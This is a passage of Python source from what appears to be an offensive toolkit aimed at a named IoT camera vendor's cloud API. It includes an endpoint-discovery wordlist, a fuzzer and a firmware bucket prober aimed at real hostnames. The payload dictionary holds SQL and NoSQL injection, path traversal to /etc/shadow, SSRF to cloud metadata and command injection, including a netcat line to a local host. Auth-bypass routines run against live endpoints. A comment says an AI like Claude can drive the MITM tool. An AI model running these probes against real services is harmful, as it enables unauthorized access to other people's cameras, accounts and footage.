|
||||
"user/refresh_token", "user/access_token",
|
||||
"user/third_party", "user/bind", "user/unbind",
|
||||
"user/wechat", "user/facebook", "user/google", "user/apple",
|
||||
# ── User + device compound paths (ubox pattern) ──
|
||||
"user/device/list", "user/device/add", "user/device/del",
|
||||
"user/device/remove", "user/device/bind", "user/device/unbind",
|
||||
"user/device/share", "user/device/unshare", "user/device/transfer",
|
||||
"user/device/rename", "user/device/info", "user/device/config",
|
||||
"user/device/settings", "user/device/status", "user/device/online",
|
||||
"user/device/offline", "user/device/reboot", "user/device/reset",
|
||||
"user/device/upgrade", "user/device/firmware",
|
||||
"user/device/command", "user/device/control",
|
||||
"user/device/snapshot", "user/device/capture",
|
||||
"user/device/recording", "user/device/playback",
|
||||
"user/device/event", "user/device/events", "user/device/alarm",
|
||||
"user/device/alarms", "user/device/alert", "user/device/alerts",
|
||||
"user/device/log", "user/device/logs",
|
||||
"user/device/stream", "user/device/live", "user/device/video",
|
||||
"user/device/audio", "user/device/speaker",
|
||||
"user/device/ptz", "user/device/pan", "user/device/tilt",
|
||||
"user/device/zoom", "user/device/preset",
|
||||
"user/device/motion", "user/device/detection",
|
||||
"user/device/sensitivity", "user/device/schedule",
|
||||
"user/device/wifi", "user/device/network",
|
||||
"user/device/sd", "user/device/sdcard", "user/device/storage",
|
||||
"user/device/format", "user/device/format_sd",
|
||||
"user/device/led", "user/device/ir", "user/device/night_vision",
|
||||
"user/device/osd", "user/device/time", "user/device/timezone",
|
||||
"user/device/battery", "user/device/power",
|
||||
"user/device/sim", "user/device/4g", "user/device/signal",
|
||||
"user/device/iccid", "user/device/imei",
|
||||
# ── Query paths (ubox pattern: user/qry/) ────────
|
||||
"user/qry/device/list", "user/qry/device/info",
|
||||
"user/qry/device/status", "user/qry/device/config",
|
||||
"user/qry/device/firmware", "user/qry/device/version",
|
||||
"user/qry/device/check_version", "user/qry/device/check_version/v2",
|
||||
"user/qry/device/events", "user/qry/device/alarms",
|
||||
"user/qry/device/logs", "user/qry/device/recordings",
|
||||
"user/qry/device/cloud_videos", "user/qry/device/snapshots",
|
||||
"user/qry/device/battery", "user/qry/device/signal",
|
||||
"user/qry/device/network", "user/qry/device/wifi",
|
||||
"user/qry/device/storage", "user/qry/device/sd",
|
||||
"user/qry/device/sim", "user/qry/device/4g",
|
||||
"user/qry/user/info", "user/qry/user/devices",
|
||||
"user/qry/user/subscriptions", "user/qry/user/orders",
|
||||
# ── Versioned endpoints ──────────────────────────
|
||||
"v1/login", "v2/login", "v4/login",
|
||||
"v1/user/device_list", "v3/user/device_list",
|
||||
"v1/user/families", "v2/user/families", "v3/user/families",
|
||||
"v1/user/cloud_list", "v3/user/cloud_list",
|
||||
"v2/user/check_version", "v3/user/check_version",
|
||||
"v1/user/event_calendar", "v2/user/event_calendar",
|
||||
"v2/user/qry/device/device_services",
|
||||
"v3/user/qry/device/device_services",
|
||||
"v2/user/qry/device/check_version/v3",
|
||||
# ── Device (direct) ──────────────────────────────
|
||||
"device/list", "device/info", "device/config", "device/settings",
|
||||
"device/firmware", "device/update", "device/reboot", "device/reset",
|
||||
"device/logs", "device/events", "device/status", "device/command",
|
||||
"device/stream", "device/snapshot", "device/recording",
|
||||
"device/share", "device/unshare", "device/transfer",
|
||||
"device/debug", "device/shell", "device/telnet", "device/ssh",
|
||||
"device/console", "device/terminal", "device/exec",
|
||||
"device/control", "device/ioctrl", "device/iotctrl",
|
||||
"device/p2p", "device/connect", "device/disconnect",
|
||||
"device/wakeup", "device/sleep", "device/standby",
|
||||
"device/register", "device/unregister", "device/provision",
|
||||
"device/activate", "device/deactivate",
|
||||
"device/ota", "device/ota/check", "device/ota/download",
|
||||
"device/ota/status", "device/ota/history",
|
||||
# ── Admin ────────────────────────────────────────
|
||||
"admin/users", "admin/devices", "admin/logs", "admin/config",
|
||||
"admin/stats", "admin/dashboard", "admin/system", "admin/debug",
|
||||
"admin/firmware", "admin/update", "admin/backup", "admin/restore",
|
||||
"admin/login", "admin/panel", "admin/console",
|
||||
"admin/user/list", "admin/user/create", "admin/user/delete",
|
||||
"admin/device/list", "admin/device/config", "admin/device/firmware",
|
||||
"admin/audit", "admin/audit/log", "admin/security",
|
||||
"admin/api/keys", "admin/api/tokens", "admin/api/stats",
|
||||
"admin/cloud/config", "admin/cloud/keys", "admin/cloud/storage",
|
||||
"admin/ota/upload", "admin/ota/list", "admin/ota/deploy",
|
||||
"admin/push", "admin/notification", "admin/broadcast",
|
||||
"manage/users", "manage/devices", "manage/firmware",
|
||||
"management/users", "management/devices",
|
||||
"internal/users", "internal/devices", "internal/debug",
|
||||
"internal/config", "internal/health", "internal/metrics",
|
||||
# ── System / infra ───────────────────────────────
|
||||
"system/info", "system/version", "system/health", "system/status",
|
||||
"system/config", "system/debug", "system/logs", "system/metrics",
|
||||
"system/time", "system/restart", "system/shutdown",
|
||||
# ── Firmware / OTA ───────────────────────────────
|
||||
"firmware/list", "firmware/download", "firmware/upload",
|
||||
"firmware/latest", "firmware/check", "firmware/update",
|
||||
"firmware/history", "firmware/rollback", "firmware/versions",
|
||||
"ota/check", "ota/download", "ota/status", "ota/list",
|
||||
"ota/upload", "ota/deploy", "ota/history", "ota/config",
|
||||
# ── Cloud / storage ──────────────────────────────
|
||||
"cloud/config", "cloud/status", "cloud/keys",
|
||||
"cloud/storage", "cloud/video", "cloud/events",
|
||||
"cloud/upload", "cloud/download", "cloud/list",
|
||||
"cloud/delete", "cloud/share", "cloud/token",
|
||||
"cloud/subscription", "cloud/plan", "cloud/usage",
|
||||
"storage/list", "storage/upload", "storage/download",
|
||||
"storage/delete", "storage/quota", "storage/usage",
|
||||
# ── Push / notification ──────────────────────────
|
||||
"push/config", "push/send", "push/test", "push/token",
|
||||
"push/register", "push/unregister", "push/channels",
|
||||
"notification/list", "notification/send", "notification/config",
|
||||
"notification/test", "notification/token",
|
||||
# ── P2P / streaming ──────────────────────────────
|
||||
"p2p/config", "p2p/server", "p2p/relay", "p2p/status",
|
||||
"p2p/connect", "p2p/disconnect", "p2p/session",
|
||||
"p2p/sessions", "p2p/token", "p2p/auth",
|
||||
"stream/start", "stream/stop", "stream/status",
|
||||
"stream/config", "stream/token", "stream/url",
|
||||
"rtsp/config", "rtsp/url", "rtsp/token",
|
||||
"live/start", "live/stop", "live/status", "live/url",
|
||||
# ── AI / detection ───────────────────────────────
|
||||
"ai/config", "ai/status", "ai/detect", "ai/face",
|
||||
"ai/person", "ai/motion", "ai/object", "ai/model",
|
||||
"ai/train", "ai/results", "ai/history",
|
||||
"detection/config", "detection/zones", "detection/sensitivity",
|
||||
"detection/schedule", "detection/history",
|
||||
# ── SIM / 4G ─────────────────────────────────────
|
||||
"sim/info", "sim/status", "sim/activate", "sim/deactivate",
|
||||
"sim/data", "sim/usage", "sim/plan", "sim/recharge",
|
||||
"sim/config", "sim/apn", "sim/carrier",
|
||||
"4g/info", "4g/status", "4g/signal", "4g/config",
|
||||
"card4g-info", "user/card4g-info",
|
||||
"v3/user/card4g-info",
|
||||
# ── Payment / billing ────────────────────────────
|
||||
"pay/order", "pay/orders", "pay/create", "pay/callback",
|
||||
"pay/verify", "pay/refund", "pay/status",
|
||||
"pay/subscription", "pay/subscriptions",
|
||||
"pay/products", "pay/plans", "pay/pricing",
|
||||
"billing/info", "billing/history", "billing/invoice",
|
||||
# ── Auth / OAuth ─────────────────────────────────
|
||||
"auth/token", "auth/refresh", "auth/verify", "auth/revoke",
|
||||
"auth/login", "auth/logout", "auth/register",
|
||||
"auth/password", "auth/reset", "auth/code",
|
||||
"oauth/authorize", "oauth/token", "oauth/callback",
|
||||
"oauth/revoke", "oauth/userinfo",
|
||||
"sso/login", "sso/callback", "sso/logout",
|
||||
# ── Geographic / location ────────────────────────
|
||||
"pub/location/geocoding", "pub/location/search",
|
||||
"pub/location/timezone", "pub/location/weather",
|
||||
"location/config", "location/geo", "location/address",
|
||||
"query-zid", "query_zid", "get_zone",
|
||||
# ── Misc / discovery ─────────────────────────────
|
||||
"ping", "health", "healthz", "ready", "readyz",
|
||||
"version", "info", "about", "debug", "test", "echo",
|
||||
"status", "config", "metrics", "prometheus",
|
||||
"swagger", "swagger.json", "swagger.yaml",
|
||||
"docs", "api-docs", "api-doc", "redoc",
|
||||
"openapi", "openapi.json", "openapi.yaml",
|
||||
".env", "robots.txt", "sitemap.xml", "favicon.ico",
|
||||
".git/config", ".git/HEAD", "wp-login.php",
|
||||
"graphql", "graphiql", "playground",
|
||||
"websocket", "ws", "socket.io",
|
||||
# ── UBIA-specific guesses ────────────────────────
|
||||
"pub/app/config", "pub/app/version", "pub/app/update",
|
||||
"pub/device/config", "pub/device/version",
|
||||
"pub/firmware/latest", "pub/firmware/list",
|
||||
"pub/notice", "pub/announcement", "pub/banner",
|
||||
"app/config", "app/version", "app/update", "app/feedback",
|
||||
"mt-login", "mt-device", "mt-config",
|
||||
"bind_wechat", "unbind_wechat",
|
||||
"user/get_notification", "user/set_notification",
|
||||
"user/get_push_token", "user/set_push_token",
|
||||
"user/get_privacy", "user/set_privacy",
|
||||
"user/get_cloud_config", "user/set_cloud_config",
|
||||
"user/get_ai_config", "user/set_ai_config",
|
||||
"user/get_detection_config", "user/set_detection_config",
|
||||
"user/get_schedule", "user/set_schedule",
|
||||
"user/get_timezone", "user/set_timezone",
|
||||
"user/get_device_config", "user/set_device_config",
|
||||
"user/get_stream_config", "user/set_stream_config",
|
||||
"user/get_rtsp_url", "user/get_p2p_config",
|
||||
"user/get_firmware_url", "user/get_ota_url",
|
||||
"user/get_device_log", "user/get_crash_log",
|
||||
"user/upload_log", "user/upload_crash",
|
||||
"user/get_cloud_key", "user/get_cloud_secret",
|
||||
"user/get_push_config", "user/set_push_config",
|
||||
"user/reply_get_notification",
|
||||
"user/device_share_list", "user/device_share_add",
|
||||
"user/device_share_del", "user/device_share_accept",
|
||||
"user/device_share_reject",
|
||||
"user/family/add", "user/family/del", "user/family/update",
|
||||
"user/family/list", "user/family/members",
|
||||
"user/family/invite", "user/family/remove_member",
|
||||
]
|
||||
|
||||
# Parameter mutation payloads
|
||||
PARAM_MUTATIONS = {
|
||||
"auth_bypass": [
|
||||
{},
|
||||
{"admin": True},
|
||||
{"role": "admin"},
|
||||
{"is_admin": 1},
|
||||
{"debug": True},
|
||||
{"test": True},
|
||||
{"internal": True},
|
||||
{"bypass": True},
|
||||
{"token": "admin"},
|
||||
{"user_type": "admin"},
|
||||
{"privilege": 9999},
|
||||
{"level": 0},
|
||||
{"auth": "none"},
|
||||
{"skip_auth": True},
|
||||
],
|
||||
"sqli": [
|
||||
{"device_uid": "' OR '1'='1"},
|
||||
{"device_uid": "\" OR \"1\"=\"1"},
|
||||
{"device_uid": "'; DROP TABLE users; --"},
|
||||
{"account": "admin'--"},
|
||||
{"account": "' UNION SELECT * FROM users--"},
|
||||
{"device_uid": "1; WAITFOR DELAY '0:0:5'--"},
|
||||
{"device_uid": "1' AND SLEEP(5)--"},
|
||||
{"account": "admin' AND '1'='1"},
|
||||
{"password": "' OR '1'='1"},
|
||||
{"device_uid": "' UNION SELECT username,password FROM users--"},
|
||||
{"page": "1; DROP TABLE devices--"},
|
||||
{"device_uid": "1' ORDER BY 100--"},
|
||||
],
|
||||
"nosql": [
|
||||
{"device_uid": {"$gt": ""}},
|
||||
{"device_uid": {"$ne": ""}},
|
||||
{"device_uid": {"$regex": ".*"}},
|
||||
{"account": {"$gt": ""}},
|
||||
{"password": {"$ne": "invalid"}},
|
||||
{"$where": "1==1"},
|
||||
{"device_uid": {"$exists": True}},
|
||||
{"account": {"$in": ["admin", "root", "test"]}},
|
||||
],
|
||||
"idor": [
|
||||
{"device_uid": "AAAAAAAAAAAAAAAAAAAAAA"},
|
||||
{"device_uid": "../../../etc/passwd"},
|
||||
{"device_uid": "0"},
|
||||
{"device_uid": "-1"},
|
||||
{"device_uid": "1"},
|
||||
{"user_id": "1"},
|
||||
{"user_id": "0"},
|
||||
{"user_id": "-1"},
|
||||
{"kuid": "1"},
|
||||
{"kuid": "1000000000"},
|
||||
{"kuid": "1006072344"},
|
||||
{"uuid": "admin"},
|
||||
{"family": 1},
|
||||
{"family_id": "1"},
|
||||
{"id": 1},
|
||||
{"id": 0},
|
||||
{"device_uid": "AAAAAAAAAAAAAAAAAAAA"},
|
||||
{"device_uid": "J7HYJJFFFXRDKBYGPVR0"},
|
||||
{"device_uid": "J7HYJJFFFXRDKBYGPVR1"},
|
||||
],
|
||||
"overflow": [
|
||||
{"device_uid": "A" * 500},
|
||||
{"device_uid": "A" * 10000},
|
||||
{"device_uid": "A" * 100000},
|
||||
{"page": 999999},
|
||||
{"page": -1},
|
||||
{"page": 0},
|
||||
{"count": -1},
|
||||
{"count": 0},
|
||||
{"count": 999999},
|
||||
{"page_num": 2147483647},
|
||||
{"zone_id": 2147483647},
|
||||
{"zone_id": -2147483648},
|
||||
{"device_uid": "\x00" * 100},
|
||||
{"account": "A" * 10000},
|
||||
],
|
||||
"type_confusion": [
|
||||
{"device_uid": 12345},
|
||||
{"device_uid": True},
|
||||
{"device_uid": False},
|
||||
{"device_uid": None},
|
||||
{"device_uid": []},
|
||||
{"device_uid": [1, 2, 3]},
|
||||
{"device_uid": {"key": "value"}},
|
||||
{"device_uid": 0},
|
||||
{"device_uid": -1},
|
||||
{"device_uid": 1.5},
|
||||
{"page": "abc"},
|
||||
{"page": True},
|
||||
{"page": None},
|
||||
{"page": []},
|
||||
{"count": "all"},
|
||||
{"zone_id": "global"},
|
||||
],
|
||||
"path_traversal": [
|
||||
{"device_uid": "../../etc/passwd"},
|
||||
{"device_uid": "..\\..\\etc\\passwd"},
|
||||
{"device_uid": "%2e%2e%2f%2e%2e%2fetc%2fpasswd"},
|
||||
{"device_uid": "....//....//etc/passwd"},
|
||||
{"file": "/etc/passwd"},
|
||||
{"file": "/etc/shadow"},
|
||||
{"path": "/proc/self/environ"},
|
||||
{"url": "file:///etc/passwd"},
|
||||
{"filename": "../../../etc/passwd"},
|
||||
],
|
||||
"ssrf": [
|
||||
{"url": "http://127.0.0.1"},
|
||||
{"url": "http://localhost"},
|
||||
{"url": "http://169.254.169.254/latest/meta-data/"},
|
||||
{"url": "http://[::1]"},
|
||||
{"url": "http://0.0.0.0"},
|
||||
{"callback_url": "http://127.0.0.1:8080"},
|
||||
{"webhook": "http://localhost:9090"},
|
||||
{"firmware_url": "http://127.0.0.1/evil.bin"},
|
||||
],
|
||||
"xss_ssti": [
|
||||
{"device_uid": "<script>alert(1)</script>"},
|
||||
{"name": "<img src=x onerror=alert(1)>"},
|
||||
{"device_uid": "{{7*7}}"},
|
||||
{"device_uid": "${7*7}"},
|
||||
{"device_uid": "<%=7*7%>"},
|
||||
{"name": "{{config}}"},
|
||||
{"name": "${env}"},
|
||||
],
|
||||
"command_injection": [
|
||||
{"device_uid": "; id"},
|
||||
{"device_uid": "| id"},
|
||||
{"device_uid": "$(id)"},
|
||||
{"device_uid": "`id`"},
|
||||
{"device_uid": "; cat /etc/passwd"},
|
||||
{"device_uid": "| nc 192.168.1.172 4444"},
|
||||
{"name": "; whoami"},
|
||||
{"wifi_ssid": "test'; ping -c1 192.168.1.172; '"},
|
||||
{"firmware_url": "http://x/$(id)"},
|
||||
],
|
||||
"format_string": [
|
||||
{"device_uid": "%s%s%s%s%s"},
|
||||
{"device_uid": "%x%x%x%x"},
|
||||
{"device_uid": "%n%n%n%n"},
|
||||
{"device_uid": "%p%p%p%p"},
|
||||
{"name": "%s" * 50},
|
||||
],
|
||||
"null_byte": [
|
||||
{"device_uid": "valid\x00admin"},
|
||||
{"device_uid": "J7HYJJFFFXRDKBYGPVRA\x00.txt"},
|
||||
{"account": "admin\x00@evil.com"},
|
||||
{"file": "image.jpg\x00.php"},
|
||||
],
|
||||
"unicode": [
|
||||
{"device_uid": "\uff41\uff44\uff4d\uff49\uff4e"},
|
||||
{"account": "admin\u200b@test.com"},
|
||||
{"device_uid": "\u0000\u0001\u0002"},
|
||||
{"name": "\ud800"},
|
||||
],
|
||||
"large_json": [
|
||||
{"a": "b" * 100000},
|
||||
dict([(f"key_{i}", f"val_{i}") for i in range(1000)]),
|
||||
{"nested": {"a": {"b": {"c": {"d": {"e": "deep"}}}}}},
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
class Fuzzer:
|
||||
def __init__(self, cfg):
|
||||
self.cfg = cfg
|
||||
self.results = []
|
||||
self.running = False
|
||||
self._lock = threading.Lock()
|
||||
|
||||
def _post(self, endpoint, data, token=None, timeout=5):
|
||||
url = f"{self.cfg['api_base']}/{endpoint}"
|
||||
body = json.dumps(data).encode("utf-8")
|
||||
req = urllib.request.Request(url, data=body, method="POST")
|
||||
req.add_header("Content-Type", "application/json")
|
||||
req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14")
|
||||
if token:
|
||||
req.add_header("X-Ubia-Auth-UserToken", token)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
code = resp.getcode()
|
||||
body = resp.read().decode("utf-8", errors="replace")[:500]
|
||||
return code, body
|
||||
except urllib.error.HTTPError as e:
|
||||
body = e.read().decode("utf-8", errors="replace")[:500]
|
||||
return e.code, body
|
||||
except Exception as e:
|
||||
return 0, str(e)
|
||||
|
||||
def _add_result(self, endpoint, method, status, note, response=""):
|
||||
with self._lock:
|
||||
self.results.append({
|
||||
"endpoint": endpoint,
|
||||
"method": method,
|
||||
"status": status,
|
||||
"note": note,
|
||||
"response": response[:300],
|
||||
})
|
||||
|
||||
def _parse_app_code(self, body):
|
||||
"""Extract the application-level code from JSON response body.
|
||||
UBIA API always returns HTTP 200 — real status is in {"code": N}"""
|
||||
try:
|
||||
data = json.loads(body)
|
||||
return data.get("code", -1), data
|
||||
except:
|
||||
return -1, {}
|
||||
|
||||
def fuzz_endpoints(self):
|
||||
"""Discover hidden API endpoints"""
|
||||
self.running = True
|
||||
log("FUZZ: starting endpoint discovery...", C_INFO)
|
||||
token = self.cfg["api_token"]
|
||||
delay = self.cfg.get("fuzzer_delay", 0.2)
|
||||
|
||||
all_endpoints = list(set(KNOWN_ENDPOINTS + ENDPOINT_WORDLIST))
|
||||
total = len(all_endpoints)
|
||||
|
||||
for i, ep in enumerate(all_endpoints):
|
||||
if not self.running:
|
||||
break
|
||||
|
||||
# Try with auth
|
||||
code, body = self._post(ep, {}, token)
|
||||
|
||||
if code == 0:
|
||||
continue # connection error
|
||||
elif code == 404:
|
||||
continue # not found
|
||||
elif code == 200:
|
||||
app_code, parsed = self._parse_app_code(body)
|
||||
if app_code == 0:
|
||||
# Real success
|
||||
log(f"FUZZ: [{code}] {ep} — FOUND (app_code=0)", C_IMPORTANT)
|
||||
self._add_result(ep, "POST", code, "accessible", body)
|
||||
|
||||
# Now test without auth
|
||||
code2, body2 = self._post(ep, {}, None)
|
||||
app_code2, _ = self._parse_app_code(body2)
|
||||
if app_code2 == 0:
|
||||
log(f"FUZZ: [{code2}] {ep} — REAL NO AUTH BYPASS!", C_IMPORTANT)
|
||||
self._add_result(ep, "POST_NOAUTH", code2, "NO_AUTH_CONFIRMED", body2)
|
||||
elif app_code2 != 10004:
|
||||
log(f"FUZZ: [{code2}] {ep} — unusual no-auth response: code={app_code2}", C_TRAFFIC)
|
||||
self._add_result(ep, "POST_NOAUTH", code2, f"noauth_code_{app_code2}", body2)
|
||||
elif app_code == 10004:
|
||||
# Token rejected even with our valid token — interesting
|
||||
log(f"FUZZ: [{code}] {ep} — exists but token rejected", C_TRAFFIC)
|
||||
self._add_result(ep, "POST", code, "token_rejected", body)
|
||||
elif app_code == 10001:
|
||||
# Invalid params — endpoint exists
|
||||
log(f"FUZZ: [{code}] {ep} — FOUND (needs params)", C_TRAFFIC)
|
||||
self._add_result(ep, "POST", code, "needs_params", body)
|
||||
else:
|
||||
log(f"FUZZ: [{code}] {ep} — app_code={app_code}", C_TRAFFIC)
|
||||
self._add_result(ep, "POST", code, f"app_code_{app_code}", body)
|
||||
elif code == 405:
|
||||
log(f"FUZZ: [{code}] {ep} — wrong method", C_TRAFFIC)
|
||||
self._add_result(ep, "POST", code, "method_not_allowed", body)
|
||||
else:
|
||||
log(f"FUZZ: [{code}] {ep}", 0)
|
||||
self._add_result(ep, "POST", code, f"http_{code}", body)
|
||||
|
||||
if (i + 1) % 50 == 0:
|
||||
log(f"FUZZ: progress {i+1}/{total}", C_INFO)
|
||||
|
||||
time.sleep(delay)
|
||||
|
||||
log(f"FUZZ: endpoint scan done — {len(self.results)} results", C_SUCCESS)
|
||||
self.running = False
|
||||
|
||||
def fuzz_params(self, endpoint):
|
||||
"""Test parameter mutations on a specific endpoint"""
|
||||
self.running = True
|
||||
log(f"FUZZ: parameter fuzzing on {endpoint}...", C_INFO)
|
||||
token = self.cfg["api_token"]
|
||||
delay = self.cfg.get("fuzzer_delay", 0.1)
|
||||
|
||||
for category, payloads in PARAM_MUTATIONS.items():
|
||||
if not self.running:
|
||||
break
|
||||
log(f"FUZZ: testing {category}...", C_INFO)
|
||||
for payload in payloads:
|
||||
if not self.running:
|
||||
break
|
||||
code, body = self._post(endpoint, payload, token)
|
||||
note = f"{category}: {json.dumps(payload)[:80]}"
|
||||
if code == 200:
|
||||
log(f"FUZZ: [{code}] {note} — ACCEPTED", C_IMPORTANT)
|
||||
elif code == 500:
|
||||
log(f"FUZZ: [{code}] {note} — SERVER ERROR!", C_IMPORTANT)
|
||||
else:
|
||||
log(f"FUZZ: [{code}] {note}", C_TRAFFIC)
|
||||
self._add_result(endpoint, category, code, note, body)
|
||||
time.sleep(delay)
|
||||
|
||||
log(f"FUZZ: param fuzzing done", C_SUCCESS)
|
||||
self.running = False
|
||||
|
||||
def fuzz_auth(self):
|
||||
"""Test authentication bypass techniques"""
|
||||
self.running = True
|
||||
log("FUZZ: testing auth bypass...", C_INFO)
|
||||
delay = self.cfg.get("fuzzer_delay", 0.2)
|
||||
test_endpoints = ["user/device_list", "v2/user/device_list", "user/families"]
|
||||
|
||||
tests = [
|
||||
("no_token", None),
|
||||
("empty_token", ""),
|
||||
("invalid_token", "invalidtoken123"),
|
||||
("expired_format", "xxxx1234567890abcdef"),
|
||||
("sql_token", "' OR '1'='1"),
|
||||
("null_byte", "valid\x00admin"),
|
||||
("long_token", "A" * 1000),
|
||||
]
|
||||
|
||||
for ep in test_endpoints:
|
||||
if not self.running:
|
||||
break
|
||||
for test_name, token_val in tests:
|
||||
if not self.running:
|
||||
break
|
||||
code, body = self._post(ep, {}, token_val)
|
||||
app_code, _ = self._parse_app_code(body)
|
||||
if code == 200 and app_code == 0:
|
||||
log(f"FUZZ: AUTH BYPASS! [{code}] {ep} with {test_name} (app_code=0!)", C_IMPORTANT)
|
||||
elif code == 200 and app_code != 10004:
|
||||
log(f"FUZZ: [{code}] {ep} {test_name} app_code={app_code}", C_TRAFFIC)
|
||||
else:
|
||||
log(f"FUZZ: [{code}] {ep} {test_name} — rejected", 0)
|
||||
self._add_result(ep, f"auth_{test_name}", code, f"{test_name}_appcode_{app_code}", body)
|
||||
time.sleep(delay)
|
||||
|
||||
log("FUZZ: auth bypass testing done", C_SUCCESS)
|
||||
self.running = False
|
||||
|
||||
def stop(self):
|
||||
self.running = False
|
||||
|
||||
def save_results(self, path=None):
|
||||
path = path or f"{self.cfg['log_dir']}/fuzz_results_{int(time.time())}.json"
|
||||
with open(path, "w") as f:
|
||||
json.dump(self.results, f, indent=2)
|
||||
log(f"FUZZ: results saved to {path}", C_SUCCESS)
|
||||
return path
|
||||
154
api/ota_bucket_probe.py
Normal file
154
api/ota_bucket_probe.py
Normal file
@@ -0,0 +1,154 @@
|
||||
"""
|
||||
OTA bucket enumerator.
|
||||
|
||||
The UBIA OTA buckets are Tencent COS:
|
||||
ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com
|
||||
ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com
|
||||
|
||||
Anonymous LIST is denied, but individual objects can be public-read (we
|
||||
confirmed this with the dev_add_doc/1159_video/* demo video). This module
|
||||
guesses common firmware paths and reports any that return non-403/404.
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from datetime import datetime
|
||||
|
||||
from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_IMPORTANT, C_TRAFFIC
|
||||
|
||||
BUCKETS = [
|
||||
"http://ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com",
|
||||
"http://ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com",
|
||||
]
|
||||
|
||||
# Path templates — {pid} = product id (1619 for our camera),
|
||||
# {model} = model number (2604), {ver} = a version string
|
||||
PATH_TEMPLATES = [
|
||||
"/dev_add_doc/{pid}/firmware.bin",
|
||||
"/dev_add_doc/{pid}/host.bin",
|
||||
"/dev_add_doc/{pid}/wifi.bin",
|
||||
"/dev_add_doc/{pid}/{model}.bin",
|
||||
"/dev_add_doc/{pid}/{ver}.bin",
|
||||
"/dev_add_doc/{pid}/{ver}/host.bin",
|
||||
"/dev_add_doc/{pid}/{ver}/firmware.bin",
|
||||
"/dev_add_doc/{pid}/{model}.{ver}.bin",
|
||||
"/dev_add_doc/{pid}_video/",
|
||||
"/firmware/{pid}/host.bin",
|
||||
"/firmware/{pid}/{ver}.bin",
|
||||
"/firmware/{model}/{ver}.bin",
|
||||
"/ota/{pid}/host.bin",
|
||||
"/ota/{pid}/{ver}.bin",
|
||||
"/ota/{model}/{ver}.bin",
|
||||
"/ota/{model}.{ver}.bin",
|
||||
"/{pid}/firmware.bin",
|
||||
"/{pid}/host.bin",
|
||||
"/{pid}/{ver}.bin",
|
||||
"/{model}/{ver}.bin",
|
||||
"/host/{model}/{ver}.bin",
|
||||
"/wifi/{model}/{ver}.bin",
|
||||
"/upgrade/{pid}/{ver}.bin",
|
||||
"/upgrade/{model}/{ver}.bin",
|
||||
"/dev_fw/{pid}/{ver}.bin",
|
||||
"/dev_fw/{model}/{ver}.bin",
|
||||
"/{model}.{ver}.bin",
|
||||
"/{ver}.bin",
|
||||
]
|
||||
|
||||
# Versions to try — descending from current downward
|
||||
VERSIONS_TO_TRY = [
|
||||
"2604.1.2.69",
|
||||
"2604.1.2.68",
|
||||
"2604.1.2.0",
|
||||
"2604.0.29.8",
|
||||
"2604.0.29.7",
|
||||
"2604.0.29.0",
|
||||
"2604.0.0.0",
|
||||
"2604",
|
||||
]
|
||||
|
||||
PRODUCT_IDS = ["1619"]
|
||||
MODELS = ["2604"]
|
||||
|
||||
|
||||
def _head(url, timeout=8):
|
||||
req = urllib.request.Request(url, method="HEAD", headers={
|
||||
"User-Agent": "okhttp/4.9.1",
|
||||
})
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as r:
|
||||
return r.status, dict(r.headers), None
|
||||
except urllib.error.HTTPError as e:
|
||||
return e.code, dict(e.headers) if e.headers else {}, None
|
||||
except urllib.error.URLError as e:
|
||||
return None, {}, str(e.reason)
|
||||
except Exception as e:
|
||||
return None, {}, str(e)
|
||||
|
||||
|
||||
def _build_paths():
|
||||
paths = set()
|
||||
for pid in PRODUCT_IDS:
|
||||
for model in MODELS:
|
||||
for ver in VERSIONS_TO_TRY:
|
||||
for tmpl in PATH_TEMPLATES:
|
||||
paths.add(tmpl.format(pid=pid, model=model, ver=ver))
|
||||
return sorted(paths)
|
||||
|
||||
|
||||
def probe(cfg=None):
|
||||
"""
|
||||
Try every path×bucket combo. Report any HEAD that returns 200 or
|
||||
that has Content-Length > 0. Also report 403 (auth required —
|
||||
means the object exists), separately from 404.
|
||||
|
||||
Returns:
|
||||
{
|
||||
"ok": bool,
|
||||
"found": [{"url","status","size","content_type"}],
|
||||
"exists_403": [...],
|
||||
"tried": int,
|
||||
}
|
||||
"""
|
||||
paths = _build_paths()
|
||||
log(f"OTA-PROBE: trying {len(paths)} paths × {len(BUCKETS)} buckets = "
|
||||
f"{len(paths) * len(BUCKETS)} requests…", C_INFO)
|
||||
|
||||
found = []
|
||||
exists_403 = []
|
||||
tried = 0
|
||||
for bucket in BUCKETS:
|
||||
for p in paths:
|
||||
url = bucket + p
|
||||
tried += 1
|
||||
status, headers, err = _head(url)
|
||||
if err:
|
||||
continue
|
||||
ct = headers.get("Content-Type", "?")
|
||||
cl = headers.get("Content-Length", "0")
|
||||
try:
|
||||
cl_i = int(cl)
|
||||
except (TypeError, ValueError):
|
||||
cl_i = 0
|
||||
if status == 200:
|
||||
log(f" ✓ HIT 200 {url} size={cl_i} ct={ct}", C_IMPORTANT)
|
||||
found.append({"url": url, "status": 200,
|
||||
"size": cl_i, "content_type": ct})
|
||||
elif status == 403:
|
||||
# Tencent COS returns 403 for "exists but no access" AND for
|
||||
# "doesn't exist" — but the response body differs. We log
|
||||
# them anyway since some might be real.
|
||||
exists_403.append({"url": url, "status": 403, "ct": ct})
|
||||
elif status and status not in (404,):
|
||||
log(f" ? {status} {url}", C_TRAFFIC)
|
||||
|
||||
log(f"OTA-PROBE: done. {len(found)} hits, {len(exists_403)} 403s, "
|
||||
f"{tried - len(found) - len(exists_403)} misses", C_SUCCESS)
|
||||
|
||||
return {
|
||||
"ok": bool(found),
|
||||
"found": found,
|
||||
"exists_403_count": len(exists_403),
|
||||
"tried": tried,
|
||||
}
|
||||
147
api/server.py
Normal file
147
api/server.py
Normal file
@@ -0,0 +1,147 @@
|
||||
"""REST API server — allows external tools (like Claude) to control the MITM tool"""
|
||||
|
||||
import json
|
||||
import threading
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
from utils.log import log, log_lines, C_SUCCESS, C_ERROR, C_INFO
|
||||
|
||||
|
||||
class MITMApiHandler(BaseHTTPRequestHandler):
|
||||
